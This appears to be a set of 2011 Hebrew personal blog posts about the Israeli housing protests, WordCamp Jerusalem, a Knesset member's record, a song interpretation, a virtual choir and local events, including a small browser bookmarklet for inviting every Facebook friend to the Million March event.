10:49 אני מרגיש תחושה נהדרת, אני מרגיש שאין סיבה שאכתוב את הפוסט הזה – כי כל כך הרבה אחרים כבר כתבו. כי כל כך הרבה כבר אמרו לנו לצאת עכשיו מהבית לצעדת המליון.
ואולי ככה גם אתם מרגישים, למה לצאת מהבית? הרי אחרים עושים זאת בשבילנו. אפשר פשוט להזמין אותם לאירוע דרך פייסבוק, ולהישאר בבית במזגן.
אבל לא הערב! היום, כולנו יוצאים. כמו ליל הסדר, כמו הצבעה בבחירות. כמו ללכת להופעה של פול סימון. היום – כולנו יוצאים מהבית להפגין, לא בגלל אלא אפילו שאחרים עושים את זה גם.
אני לא יוצא כדי להשפיע, אני יוצא כדי לממש את האופן שבו אני רוצה להיות אזרח במדינה הזאת. כי זוהי הדרך שאני בוחר להגדיר את מי שאני – באמצעות פעולותי. (וגם בגלל שאני מאמין שפעולותינו "מדביקות" את האחרים – ומוציאים גם אותם לפעולה)
שוחחתי עם כמה וכמה חברים בשבועות האחרונים לגבי ההפגנות. מלבד אלו שטענו שלא יצאו כי אלו שמאלנים (הזויים, מעשני נרגילות, כן?), היו גם שהסבירו איך שהמחאה הזו לא ממוקדת. או יותר מידי ממוקדת. שהיא מציאה פתרונות לא נכונים, שזה יוביל ליותר מיסים, לפחות מיסים, לדיור ציבורי, לעודף פיקוח, לתת פיקוח. הנה האמת – אנחנו לא יודעים. אין לאף אחד מאיתנו מושג מה המחאה הזו תעשה.
יש רק דבר אחד שאני יודע שהמחאה עושה – המחאה מציפה לדיון הציבורי סדר יום חברתי כלכלי. לא משנה מהם הפתרונות הספציפיים שייושמו. האם הם יהיו מושלמים, או יביאו איתם בעיות (בטוח הרי שכן). כל מה שחשוב הוא שבחודש וחצי האחרונים, הרבה אנשים חשבו על איכות החיים שלהם באופן שלפני זה הם לא חשבו עליה. זה ישפיע על מה שהם יחפשו לקרוא בעיתון, על נושאי השיחה בסלון, ועל ההצבעה שלהם בכנסת (כן כן, זה מה שזה לדעתי יעשה).
אני לא יוצא הערב כי אני יודע מה צריך לעשות. אני יוצא כי אני יודע על מה לא דיברנו עד לפני חודש וחצי.
לצאת הערב להפגין זה לא לומר מה אתם חושבים שצריך לקרות – אלא זה לומר מהי לדעתכם הבעיה שנבחרי הציבור (הנוכחיים, והאלו שאחריהם) צריכים להתאמץ ולפתור.
אה כן, ועל הדרך המחאה גם האיצה את ההקמה של תשתיות לתרבות אזרחית דמוקרטית יותר בישראל.
21:06 היום הייתה הפעם הראשונה שהזמנתי את כל חברי בפייסבוק לאירוע. אני מחשיב את האופציה הזו כ"אופציית יום הדין" אשר יש להשתמש בה רק בהזדמנויות מאד מיוחדות (כמו השימוש בסימני קריאה בתוך משפט!).
המוטיבציה שלי היא צעדת המליון (לינק לאירוע בפייסבוק) אשר יכולה להיות (ברצינות) נקודת מפנה בחברה הישראלית. זו הפעם הראשונה שאנו רואים מימוש של תסריט להתאגדות חברתית בישראל, בכזה היקף, אשר נשענת בחוזקה על כלים אינטרנטיים.
אז איך תזמינו את כל חבריכם לאירוע שבפייסבוק?
אם אתם משתמשים בדפדפן כרום של גוגל, תוכלו להתקין את התוסף המצויין Facebook Super Select All. אשר יוסיף כפתור "סמן הכל" בזמן הזמנת חברים. יש גם פלאגין לפיירפוקס, אבל לא ניסיתי אותו (את/ה ניסית?)
אם אתם משתמשים באינטרנט אקספלורר, או שאתם (משום מה) לא רוצים להוסיף תוסף (חבל, זה קל), תוכלו להזמין את חבריכם בעזרת מספר פעולות פשוטות:
javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}
ואם זה לא היה ברור, הנה סרטון שמדגים זאת:
זהו, כעת נותר רק להוסיף הודעה אישית (רצוי עם התנצלות/הסבר למה השתמשתם בכלי יום הדין הזה), ללחוץ על כפתור ההזמנה ולחזור לעיסוקינו.
מיגבלות שפייסבוק מציב
לפני שנסיים נציין שפייסבוק הקשה באחרונה את מערכת הזמנת החברים לאירועים והציב שני מחסומים. הראשון הוא פשוט, והשני לא:
בהצלחה!
מאמרים נוספים:
10:50 היום הייתה הפעם הראשונה שהזמנתי את כל חברי בפייסבוק לאירוע. אני מחשיב את האופציה הזו כ"אופציית יום הדין" אשר יש להשתמש בה רק בהזדמנויות מאד מיוחדות (כמו השימוש בסימני קריאה בתוך משפט!).
המוטיבציה שלי היא צעדת המליון (לינק לאירוע בפייסבוק) אשר יכולה להיות (ברצינות) נקודת מפנה בחברה הישראלית. זו הפעם הראשונה שאנו רואים מימוש של תסריט להתאגדות חברתית בישראל, בכזה היקף, אשר נשענת בחוזקה על כלים אינטרנטיים.
אז איך תזמינו את כל חבריכם לאירוע שבפייסבוק?
אם אתם משתמשים בדפדפן כרום של גוגל, תוכלו להתקין את התוסף המצויין Facebook Super Select All. אשר יוסיף כפתור "סמן הכל" בזמן הזמנת חברים. יש גם פלאגין לפיירפוקס, אבל לא ניסיתי אותו (את/ה ניסית?)
אם אתם משתמשים באינטרנט אקספלורר, או שאתם (משום מה) לא רוצים להוסיף תוסף (חבל, זה קל), תוכלו להזמין את חבריכם בעזרת מספר פעולות פשוטות:
javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}
ואם זה לא היה ברור, הנה סרטון שמדגים זאת:
זהו, כעת נותר רק להוסיף הודעה אישית (רצוי עם התנצלות/הסבר למה השתמשתם בכלי יום הדין הזה), ללחוץ על כפתור ההזמנה ולחזור לעיסוקינו.
מיגבלות שפייסבוק מציב
לפני שנסיים נציין שפייסבוק הקשה באחרונה את מערכת הזמנת החברים לאירועים והציב שני מחסומים. הראשון הוא פשוט, והשני לא:
בהצלחה!
23:42 הפוסט הבא הוא הטקסט שקיבלתי ממרים שוויב אודות וורדקמפ אשר יתקיים השנה.
————————————–
שלום!
אני כותבת לכם בגלל שנרשמתם לקבל עדכונים לגבי וורדקמפ בארץ. לשמחתי אני יכולה לבשר לכם שוורדקמפ חוזר לארץ!
http://wordcampjerusalem.com
מתי: 12 לספטמבר 2011
איפה: מרכז מורשת בגין, ירושלים
שעות: 9 עד 5
עלות: 60 ש"ח
האירוע ללא מטרות רווח ודמי הרישום מיועדים לכיסוי הוצאות, ומתקבלות כתרומה על ידי עמותת המקור.
להרשמה:
http://wordcampjerusalem.com/register/
התכנית מתגבשת ואפשר לראות רשימה של הרצאות (חלקית), מרצים, מי נרשם, ועוד מידע באתר של וורדקמפ ירושלים.
מקווים לראותכם שם! לשאלות ורעיונות, ניתן לשלוח מיילים ל:
wordcamp@illuminea.com
תודה!
מרים שוואב
.נ.ב. אנחנו עדיין מחפשים מרצים וספונסורים. עוד מידע באתר
מאמרים נוספים:
10:30 הפוסט הבא הוא הטקסט שקיבלתי ממרים שוויב אודות וורדקמפ אשר יתקיים השנה.
————————————–
שלום!
אני כותבת לכם בגלל שנרשמתם לקבל עדכונים לגבי וורדקמפ בארץ. לשמחתי אני יכולה לבשר לכם שוורדקמפ חוזר לארץ!
http://wordcampjerusalem.com
מתי: 12 לספטמבר 2011
איפה: מרכז מורשת בגין, ירושלים
שעות: 9 עד 5
עלות: 60 ש"ח
האירוע ללא מטרות רווח ודמי הרישום מיועדים לכיסוי הוצאות, ומתקבלות כתרומה על ידי עמותת המקור.
להרשמה:
http://wordcampjerusalem.com/register/
התכנית מתגבשת ואפשר לראות רשימה של הרצאות (חלקית), מרצים, מי נרשם, ועוד מידע באתר של וורדקמפ ירושלים.
מקווים לראותכם שם! לשאלות ורעיונות, ניתן לשלוח מיילים ל:
wordcamp@illuminea.com
תודה!
מרים שוואב
.נ.ב. אנחנו עדיין מחפשים מרצים וספונסורים. עוד מידע באתר
מאמרים נוספים:
8:49 חברת הכנסת (אל תקראו לה גברת) מירי רגב היא כנראה נציגת הציבור הראשונה אשר זוכה להראות לנו את כוחה של שקיפות ציבורית אשר מתאפשרת בעידן האינטרנט החדש.
הסיפור התחיל לפני יותר משבוע, כאשר ח"כ מירי רגב הגיעה למאהל מחאתנו של מחאת הדיור. היא זכתה למקלחת צוננת (תרתי משמע) של תגובות מהמפגינים, ופנתה לתקשורת כדי לכנות את המפגינים "אנשים מכוערים ולא נחמדים" (וגם שמאלנים).
העניין שלי בח"כ מירי רגב איננו בכך שהיא משתמשת במילים כמו "אתה סתום?" או לא מסוגלת לתת לצד השני בדיון אפשרות להביא את עמדתו מבלי להתפרץ. מה שמעניין בח"כ מירי רגב הוא שהיא מסבירה לציבור ש-"אני [...] עושה כל כך הרבה למען דיור לזוגות צעירים, מתוך הקואליציה" (דקה 00:32). אבל שהיא עושה זאת בעידן שבו לציבור יש הרבה מידע (מידע=כוח) על פעילותה הפרלמנטרית בפועל של חברת הכנסת.
את התירגום מנתונים לתרשימים עשה אביר-השקיפות-הציבורית (לא ח"כ) עפרי רביב אשר פירסם פוסט על (ח"כ) מירי רגב, בו הוא גילה שמתוך שתיים-עשר מפגשים של הוועדה על חוק התכנון והבנייה (“חוק הסופרטאנקר”). ח"כ (לא גברת) מירי רגב לא השתתפה באף דיון של הוועדה בנושא. פשוט מדהים.
עדות לכוחו של הטיעון ניתן לראות בדף הפייסבוק של ח"כ מירי רגב, אשר כולל אזרחים מוטרדים אשר שואלים אותה בדף "מדוע היא לא השתתפה אפילו פעם אחת מתוך 12", ולאף אחד (כולל איש היח"צ של הגברת, כנראה), אין תשובה.
הדממה הרועמת שעל דף הפייסבוק של הח"כית המכובדת (שאינה מכבדת את המחאה), יכלה להתקיים רק בעידן של השקיפות שפרוייקטים כמו אתר האינטרנט "כנסת פתוחה" מעניקים לציבור.
12:10 בן דוד אהוב שלי לימד אותי לפני הרבה שנים ששירים מאפשרים לך לדבר אל הרגש. המילים יהיו אותם מילים, אך עטיפתם בשיר פותחת ערוץ אל תוך ליבו של האדם.
ברוח דברים אלו, אני כותב היום על שיר מדהים, ועל הקשר שאני מוצא בינו לבין מחאת האוהלים אשר מעסיקה רבים מאיתנו בשבוע האחרון.
זכיתי אתמול להגיע להופעתו של פול סיימון באצטדיון רמת גן, היה מדהים.
בין השירים שבוצעו, צף לו השיר המוכר "צלילי השקט" (The sounds of silence). בעודי מאזין, נוכחתי שאין לי מושג מה המילים (העטופות במלודיה מדהימה) אומרות. ואיזו דרך טובה יותר לשחזר הנאה ממשהו מאשר להבינו טוב יותר מזוויות נוספות?
הזדרזתי לגוגל ומצאתי את המילים באנגלית (ואף בעברית), בצירוף פרשנויות של אנשים שונים, כולל פרשנותו של גרפנקל, בהקדמה לשירת השיר בהופעה מלפני עשרות שנים.
אז מהי הפרשנות? כמו כל אומנות דגולה, נראה שהשיר מתלבש לחוויה אנושית בסיסית, אשר מופיעה בגילגולים שונים ובהקשרים שונים. לפי הבנתי, השיר הוא ביצוע מודרני לסבלו של אדם אשר חי את משל המערה של אפלטון. הוא תיאור של אדם אשר נתקל בתובנה, הארה, ב"אמת" כלשהי. בעודו משוטט הוא פוגש באחרים, אשר עיוורים לתובנתו. הוא מנסה להזמינם מחוץ למערה, אך הם נותרים בדממת בורותם.
דימויים ספציפיים בשיר מעודדים מספר פרשנויות לשיר לפיהן השיר מתאר את הבדידות בעידן המודרני וחוסר יכולתם של אנשים ליצור קשר האחד עם השני, ואף לאהוב. במקביל השיר מתאר את הסגידה של ההמון לאלילי שווא (פוליטיקאים, תרבות הפופ, פרסומות), תוך התנתקות ממה שקורה סביבם באמת.
מילות השיר מאפשרות לחרוג מהגבולות של מחבריו ולחשוב עליו כעל משל שמדבר על חוסר תקשורת בין אומות, המוגבלות בשימוש במדיום האינטרנטי בלבד לתקשורת אנושית (טוויטר ופייסבוק לעומת שיחות על תוך הלילה), וכן הלאה.
Hello darkness, my old friend, I've come to talk with you again
Because a vision softly creeping, left its seeds while I was sleeping
And the vision that was planted in my brain, still remains
Within the sound of silence
האיש מגיע אל החשכה, ליבו מוטרד מהחזון שהגיע למוחו, כדי לשפוך את אשר על ליבו.
In restless dreams I walked alone, narrow streets of cobblestone
Neath the halo of a streetlamp, I turned my collar to the cold and damp
When my eyes were stabbed by the flash of a neon light, split the night
And touched the sound of silence
בחלומו הוא צועד, בודד, ואז אור נאון מבליח את החשכה, תופס את עיניו, ונוגע בצלילי הדממה (הבערות, הבורות, הפיספוס)
And in the naked light I saw, ten thousand people, maybe more
People talking without speaking, people hearing without listening
People writing songs that voices never shared, and no one dared
To stir the sound of silence
ובלילה החשוך (מתוך המקום של בדידות), ראיתי, רבבות אנשים – (הגעתי לאתר טוויטר/פייסבוק?)
מדברים מבלי לומר דבר (אומרים מילים, אך ללא הרבה משמעות)
אנשים שומעים מבלי שהם מאזינים (אנשים מרפרפים, צורכים, אך לא בהם מבינים, מפנימים, מגיבים?)
אנשים כותבים שירים – אשר קולות לא ישירו או ישתפו (ומה לגבי דברי המשמעות? מי שר אותם הלאה? מי מפיץ דברים של טעם?)
ואף איש לא מעיז, לערער את צלילי השתיקה (הבערות, הבורות, הפיספוס)
Fool, said I, you do not know, silence, like a cancer, grows
Hear my words and I might teach you, take my arms then I might reach you
But my words, like silent raindrops fell, and echoed in the wells of silence
טיפשים!, אמרתי, אינכם יודעים? השתיקה (הבורות, הניתוק, הבדידות), מתפשטת כמו סרטן. שמעו אותי כדי שאלמד אתכם, קחו את זרועי כדי שאוכל לגעת בכם.
אך דברי, כמו טיפות דוממות נפלו, על קירות של שתיקה.
And the people bowed and prayed to the neon god they'd made
And the sign flashed its warning in the words that it was forming
And the sign said the words of the prophets are written on the subway walls
And tenement halls, and whispered in the sounds of silence
והאנשים השתחוו בתפילה לאל הנאון אותו יצרו בעצמם. (תרבות הקפיטליזם? פרסומות נאון מרצדות? מסכי טלוויזיה עם תוכניות שיטחיות? מסכי פייסבוק?)
והשלט ריצד את הזהרתו במילים אשר בו הופיעו – "מילות הנביאים כתובים על קירות התחנה המרכזית ורחובות העניים, ונלחשות בצלילי השקט".
(האם השלט כתב זאת? או שזה מה שמחבר השיר ראה? האם באמת אלוהי שלט הנאון ניסה להזהיר את קוראיו? או שזוהי הדרך שבה הזמר שלנו מפרש את צפייתו בשלט הנאון?)
——————————————
צלילי הדממה ומחאת האוהליםאם הגעתם עד כאן, אתם אולי שואלים את עצמכם מדוע אני כותב את הפוסט הזה היום. והסיבה היא מחאת האוהלים שפשטה ברחבי ארצנו.
אנשים שונים אשר קשורים במחאה, יפרשו את השר "צלילי הדממה", בדרכים שונות.
יהיו שיאמרו שהדממה היא הסכמתם של אנשים לקפיטליזם דורסני – כזה אשר מאפשר לעשירים להתעשר ומקצין את העוני של העניים.
יהיו שיאמרו שהדממה היא הא-פתיות של הנוער, נוער אשר מחובר למסכי המחשב והסלולר אך לא ממנפים את הרישות שלהם בשביל להביא לעולם טוב יותר.
יהיו שיאמרו שהדממה היא האפליה של היהודים את הערבים – אשר פוגעים בהם באופן זה או אחר.
יהיו אף שיאמרו שהדממה היא תקוות השווא של המפגינים, אשר מאמינים שבחסדי תקשורת האינטרנט הם יוכלו לשנות דברים שאמורים היו להישאר כמות שהם ללא שינוי, ללא מחאה.
גם לי יש את הדממה שבה אני מאמין. אך היא איננה חשובה, היא אינה עיקרו של הפוסט הזה.
מה שחשוב הוא להבין את הבדידות. להבין שאנחנו מוקפים באנשים שמרגישים בודדים בחוכמתם, בתבונתם. אנשים שבטוחים שהם יודעים מה נכון, אבל מרגישים שלא מבינים אותם, לא מצטרפים אליהם, לא מאמינים בהם.
מה שחשוב הוא שאם אתם רואים מישהו כזה, אל תשאירו אותו להיות לבד. תקשיבו, באמת תקשיבו, למה שאותו חבר שלכם אומר לכם. תענו לחבריכם במילים של טעם, מילים מהלב. ואם אתם מאמינים בחזון שלו? אל תשאירו אותו לבד – הצטרפו אליו!
כי למרות הפרשנויות הפוליטיות השונות של מהי ה"דממה" עליה מדבר השיר, ישנה פרשנות אחת שמשמעותה היא אושר אמיתי – והיא הפרשנות שאומרת שיש לכם חברים שמרגישים שהם לבד. וכל מה שעליכם לעשות הוא להיות שם, איתם (במעשיכם) – והם לא יהיו לבד יותר.
אתם לא לבד, וגם לא אני.
אני הולך להפגין במוצאי שבת למען מה שאני מאמין שהוא חזון טוב יותר לעתיד כולנו במדינה הזאת.
אני לא יודע מהי הדרך המדוייקת להגיע למצב שבו יהיה לנו דיור שהוא בר-השגה (בין אם בשכירות או ברכישה). אך אני מאמין שהצעד הבא הוא להגיע ב- 21:00 בדיוק, לכיכר הבימה פינת שדרות רוטשילד בתל-אביב.
בשנת 2007 כבר כתבתי את התסריט שלי להתאגדות חברתית דרך האינטרנט. אולי השנה זה יקרה. וגם אם זה לא יקרה ממחאת האוהלים הזאת, הרי שהיא (ביחד עם מחאת הקוטג' שבדיוק ראינו), מעידה על תופעה שלא התרחשה מעולם בהסטוריה האנושית. הורדת רף התקשורת בין המוני אנשים, אשר מאפשרת לכידות חברתית מהירה.
להתראות בעתיד, הוא כבר כאן!
3:00 היה זה גנדי שאמר:
ההתעלמות"בהתחלה הם מתעלמים ממך,
אחר כך הם צוחקים עליך,
לאחר מכן הם נלחמים בך,
ואז- אתה מנצח".
"אנחנו כאן כדי להשאר", כך הצהירה דפני ליף, יוזמת מחאת הנדל"ן נגד מחירי הדירות שנפתחה ביום חמישי האחרון, בסמוך לרחבת הבימה בתל אביב.
כששמעתי על זה לראשונה, עשיתי את מה שהרבה אחרים עשו. התעלמתי.
ביום שישי הלכתי לאירוע וצחקתי לעצמי בלב (צחוק עצוב שאמר) "אין סיכוי שזה יחזיק מעמד".
ביום שבת ראיתי שגם אחרים צוחקים.
מירי רגב, אשר גורשה ממאהל המחאה, התייחסה אל האנשים בבוז באומרה ש: "מדובר בחבורת אנרכיסטים קיצוניים שמה שהם עושים במאהל זה לשתות אלכוהול."
בינתיים, אדם שוב (אתם יודעים, זה שהוביל את הקמפיין של רון חולדאי לרשות עיריית ת"א), כתב בפייסבוק: "האוהלים ברוטשילד – מחאת לוזרים".
עוד קצת קריאה:
דף הפייסבוק של הנפגשים בכיכר,
הזמנה לכיכר מבלוג האקטיביזם של אמנון, וגם יונית מוזס ביקרה בכיכר ומלבנת כמה נקודות. לרמן כתב על כך ששוק הדיור בתל אביב איננו שוק חופשי. טל ירון התחיל לארגן (בויקי פתוח) מסמכי יסוד למאבק. אחי הנפלא שוקי מסכם גישות שונות לפתרון משבר הדיור.
20:36 הפוסט הבא הוא פוסט אורח אשר נכתב בידי חברי הטוב אמנון דפני, ומזמין אנשים ליום פתוח המיועד להציג קורס חדש לבניית אתרים בוורדפרס. אתם מוזמנים להגיע, להפיץ, ולספר לי אחרי זה איך היה…
———-
להלן ההזמנה לקורס מקיף לבניית אתרים בוורדפרס של מכללת קוד פתוח
היום אנשים משקיעים שנים בלימודים באוניברסיטאות ומכללות ולעיתים רבות מגלים שהידע שצברו בעמל רב אינו ידע שנדרש בשוק העבודה
אנחנו, במכללת קוד פתוח מציעים לך ללמוד מקצוע נדרש ומאתגר בחצי שנה בלבד ולהשתלב בשוק העבודה הצורך בבוני אתרים איכותיים הולך וגדל והמגמה צפוייה להתגבר.
כל בית עסק זקוק לאתר אינטרנט איכותי שגם ייצג אותו בצורה הטובה ביותר וגם יכניס לבית העסק לקוחות. כמו כן, אתרים טובים יש צורך לעדכן באופן שוטף על מנת שיתאימו לעסקים דינמיים, קידום אתרים, אבטחה ועוד…
אצלנו, ב"מכללת קוד פתוח" תלמדו את הכלים המתקדמים ביותר בצורה מעשית מאנשי מקצוע בעלי ניסיון בתחום.
הקורס הינו מקיף וכולל את כל המיומניות הנדרשות, כגון:
בואו להכיר אותנו ולבחור בדרך חדשה עם מכללת קוד פתוח ביום ב' ה27.06 שעה 18:00 בבית היוקה (רח' בר גיורא 24, תל-אביב. ליד הסנטר)
לארוע בפייסבוק: http://www.facebook.com/#!/event.php?eid=176341822424135
בכל מקרה, לכל שאלה ופרטים נוספים אנחנו ממליצים לך לפנות אלינו
יובל – 0508-572464
אמנון – 0522-662525
10:42 הוידיאו הויראלי של אריק ויטאקר (שאני מתפתה לכנות אותו ההאקר הלבן) כבר זכה ללמעלה מ- 2 מליון צפיות. בוידיאו שלו, הוא המנצח על מקהלה, מקהלה של 185 קולות מ- 12 ארצות, כולם שרים יצירה שהוא הלחין ושיחרר לציבור. הנה 6 הדקות המדוברות:
על הוידיאו הזה שמעתי דרך הרצאת הטד (שכבר נשלחה אלי דרך כמה חברים שונים) שבו אריק מספר על היצירה של הוידיאו הזה, על איך שהכל התחיל מילדה אחת ששלחה לו קטע של עצמה שרה, ואיך שזה הפיח בו את התשוקה לשלב את קולותיהם של אנשים רבים, שונים, מרחבי העולם, דרך האינטרנט.
הקטעים המוזיקאליים הללו הם יפהיפיים, אך זו לא הסיבה שאני כותב עליהם היום. הסיבה היא כי הוידיאו הזה הוא המחשה של סוג של שיתוף פעולה, בתחום המוזיקה, שלא ניתן היה לעשות לפני כן (תחת תקציב סביר). תופעה שנדמה לי ראוי לכנות אותה "מוזיקה בקוד פתוח". הסיבה שאני חושב שהשם הזה הוא מתאים נובע מהצורה של התופעה – הרבה אנשים, כל אחד תורם במקצת את חלקו, למען יצירה של פרוייקט אחד גדול. כל זמר תורם את קולו (הקוד שלו), וביחד הם נרקמים לכדי פרוייקט שגדול מכל אחד בפני עצמו. כמו ויקיפדיה, לינוקס וכן הלאה.
ידוע זה מכבר שעולם המוזיקה הושפע רבות מכניסתו של האינטרנט. ההשפעה הכנראה ידועה ביותר היא שיתוף הקבצים אשר מטילות אימה על מוזיקאים (טוב נו, בעיקר את חברות הפקת המוזיקה) מהשאלה כיצד הם יתפרנסו כעת, כשאנשים לא צריכים יותר לקנות את חתיכת הפלסטיק שהם יוצרים כדי לשמוע מוזיקה. השפעות אחרות היו הכניסה של אינספור "אמני כורסא" שפתאום יכלו לשתף את אומנותם ולהיהפך למפורסמים בין לילה, פשוט כי הם נגעו במסה קריטית של אנשים שלחצו "שתף" (באופן דומה להשפעה של בלוגרים על עולם העיתונות, כנראה).
והנה מגיע אריק ויטאקר עם בשורה חדשה, עם הדוגמא המאלפת של הדרך שבה האינטרנט יכול לאפשר לעשות משהו שמעולם לא שמענו עליו לפני כן.
אגב, בהיבט השיווקי של הפרוייקט הזה, יש אלמנט פנטסטי והוא שכל אחד מהמשתתפים בסרטון הזה יקפיד לשתף אותו עם כל חבריו (משהו שלא בהכרח קורה עם מתכנתים או אנשים שכותבים ערכים בויקיפדיה). זוהי כנראה הדרך הכי מוצלחת שנתקלתי בה כדי ליצור סרטון ויראלי – ליצור סרטון שמספר גדול (אשר מגיע מאוכלוסיות מאד נבדלות) לקחו בו חלק, והם בעלי אינטרס אישי בהפצתו.
הפרוייקט הזה, בעיני, הוא רעיון שראוי לשתף אותו הלאה…
20:31 להל"ן פרטי ההזמנה של איגוד האינטרנט הישראלי:
במסגרת מפגשי ההעשרה לחברים ולקהל הרחב, וקידום העשרת הידע הנוגע לתחום האינטרנט בישראל, יקיים איגוד האינטרנט הישראלי פאנל בלוגרים, בהשתתפות: ברק דנין, ניר הירשמן , זאב גלילי, מורן לביא , גל מור, אייל סלע ובהנחיית טל גלילי שהנו בלוגר וסטטיסטיקאי.
במסגרת הפאנל, יציג כל משתתף את הבלוג שלו ובהמשך יתקיים דיון שינסה להציג את תהליך הכתיבה והמניע לכתוב כמו גם התייחסות לשאלות מעשיות בתהליך – דוגמאת: איך מתחילים? איך לסנן מידע? איך מייצרים תוכן? איך נוצרת קהילת קוראים והתייחסות? ועוד.
המפגש יתקיים ביום 14 באפריל 2011 בין השעות 17:00-19:30, במכללת אפקה – המכללה האקדמית להנדסה בתל אביב, באודיטוריום אפקה, רח' בני אפרים 218, תל-אביב. חנייה חופשית בכניסה למכללה.
הכניסה לחברי האיגוד חופשית ומותנית בהרשמה מראש.
הכניסה למי שאינו חבר הינה בעלות סמלית של 50 ₪.
(עלות חברות שנתית באיגוד: 70 ₪)
17:41 ביום שלישי הקרוב (05.04.2011) צפוי להתקיים אחד מהאירועים המעניינים והמרגשים ביותר של חובבי התנועה בישראל. יתקיים שיעור גאגא פתוח לקהל הרחב, עבור יפן בנמל תל אביב (האנגר 11), בשעה 20:30 (פתיחת דלתות ב- 19:30), בהנחיית אוהד נהרין (המנהל האומנתי המבריק של להקת המחול המדהימה, בת שבע).
כל ההכנסות ייתרמו לנפגעי רעידת האדמה והצונאמי ביפן (מחיר מינימאלי לכרטיס הוא 50 ש"ח), אנשים מוזמנים גם לתרום יותר.
כפי שנכתב כאן:
[...] הכספים שייאספו יועברו לצלב האדום היפני, באמצעות חשבון בנק שנפתח במיוחד ע"י שגרירות יפן בישראל.
נהרין: "הרעיון נולד בשיחה עם זוגתי ארי, זוהי מטרה נעלה ומצאנו דרך לעזור לנפגעי האסון וגם את האפשרות לגרום לאלה שיבואו שעה של תענוג."
"העצב אינסופי" אומרת ארי נאקמורה, בת-זוגו של נהרין, ילידת יפן. "אני שמחה שאני יכולה לקחת חלק באירוע הגאגא ולהיחלץ בדרך זו לעזרתם של רבים."
[...] עד היום אירוע הגאגא הגדול ביותר שקיים נהרין כלל 200 משתתפים בלבד. אנחנו מקווים שהפעם יגיעו כאלף איש.גאגא אנשים מיועד לכל אדם ואין צורך בניסיון קודם בריקוד. גאגא מחבר אנשים לתענוג, גרוב ומאמץ, מחזק את הגוף, מגמיש ומעורר אותו. את הגאגא מתרגלים בבגדי נוחים ואין צורך בלבוש מיוחד. משך השיעור הוא כשעה של תנועה ללא הפסקה, בהתאם להוראות המורה. אוהד נהרין ינחה את השיעור בעזרתם של מורי גאגא נוספים – רקדני להקת מחול בת- שבע.
הקהל מוזמן להגיע בבגדים נוחים, ללא תיקים או חפצים אחרים.
יום ג', 5 אפריל 2011 בשעה 20:30, פתיחת דלתות 19:30.
ניתן לרכוש כרטיסים במכירה מוקדמת
בטלפון 03-510-4037 או דרך אתר הלהקה www.batsheva.co.il
ביום האירוע יימכרו כרטיסים במקום במזומן בלבד
לפרטים נוספים על מהו שיעור התנועה המדובר, תוכלו לקרוא בפוסט שכתבתי על מה זה שיעורי התנועה "גאגא".
מאמרים נוספים:
14:32 לפי דעתו של ווהיל גוהנים, התשובה היא כן!
בימים האחרונים העלו TED הרצאה של 10 דקות שבה הוא מספר על המהפכה במצרים מזווית הראיה שלו. עם משפטים מעוררי השראה כגון: "No one was a hero because everyone was a hero" וגם – "The power of the people is stronger then the people in power". ראוי בעיני לצפיה:
בהקשר הזה אני אזכיר שב-2007 כתבתי את "תסריט להתאגדות חברתית דרך האינטרנט", ואני נפעם לגלות עד כמה המציאות הצליחה להתעלות על דמיונותי הפרועים. האם באמת האינטרנט היה הגורם המהותי במהפכה, עוד יקח זמן כדי לגלות. אבל לבינתיים, יש הרבה קסם בלחלום שכן…
16:58 השבוע התחיל זיו קיטרו (כנראה המשווק הרישתי המוצלח ביותר שאני מכיר) את הפרוייקט "חתיכות מחיי בישראל", הנה 3 דקות שמסבירות במה מדובר ואיך להשתתף:
בקצרה: הפרויקט מציג רגעים מהחיים בישראל. לא ערוכים, אבל מזוקקים. חצי דקה עד דקה וחצי של רגעים, שיראו לעולם מי האנשים שחיים כאן, ולהבהיר שיש יותר לישראל מאשר פוליטיקה וקונפליקטים.
בעיני, מדובר בפרוייקט ההסברה הישרלי (האינטרנטי) המשמעותי ביותר שצץ אי פעם באינטרנט הישראלי. מדוע? זהו הנושא של הפוסט הנוכחי.
זיו (אני לא יודע אם במודע או שלא) משחזר למעשה את החלום של יוצרת סרטים בשם ג'אנה (Jehane Noujaim) אשר זכתה במשאלת טד בשנת 2006. המשאלה שלה הייתה ליצור שלום עולמי. כיצד? על ידי יצירת הפרוייקט יום הפנגאה (Pangea Day) – יום אחד שבו כל העולם יצפה בסרטים שמתארים את החיים של אנשים במקומות שונים בעולם. למה? כי (בעיניה) הצעד הראשון לשלום עולמי הוא שאנשים יפגשו האחד את השני. הנה ההרצאה שהיא נתנה בנושא (26 דקות):
ובואו ניתן לזה עוד הקשר: אם יורשה לי להיות פשטני לרגע, הרי שהמהות של קונפליקט לאומי, דהיינו מצב שבו אזרחים במדינה אחת כועסים על אזרחים במדינה אחרת (או אנשים מאוכלוסיה אחת כועסים על אזרחים מאוכלוסיה אחרת), מתבסס על יצירת ההפרדה בין ה"אנחנו" לבין ה"הם".
לדוגמא, כאשר אני אומר לכם את המילה "טורקי". מה עולה לכם בראש? האם זהו דימוי חיובי או שלילי?
ובכן, אני משער שאחד הדברים שיעלו לכם בראש זה ארדואן, והמשט של המרמרה, והגינויים של טורקיה את ישראל ועוד דברים דומים כאלו.
סבבה.
עכשיו תסתכלו בבקשה על הסרטון בקישור הזה (לינק קרדיט ל"חורים ברשת"). מדובר בסרטון יוטיוב של פחות מדקה וחצי, אשר מציג גבר טורקי מבוגר מרקד בסלון ביתו. הסרטון זכה ללמעלה מ- 3.6 מליון צפיות ביוטיוב (ויותר מ- 30,000 הצבעות בעדו).
אחרי שרואים סרטון כזה, קשה לומר שהתפיסה שלנו את הטורקים נשארת בדיוק אותו הדבר. כי כשרואים בחור כזה מדליק מקפצץ בהנאה ובאופן כזה אותנתי, קשה שלא להישבות בקסמו ולחשוב "מממ… אולי הטורקים האלה לא כאלה נוראיים".
והמחשבות הללו משפיעות. כי כשלאחר מכן פוליטיקאי כלשהו מחליט איך להתייחס אל השגריר הטורקי, הלגיטימציה הציבורית של מעשיו תושפע היטב מעד כמה אנחנו מרגישים קירבה או ריחוק מאותה תרבות.
את ההשפעה שתיארתי, של מדינה אחת על האחרת דרך התרבות שלה, נהוג לכנות (לפחות לאחרונה) בשם "עוצמה רכה".
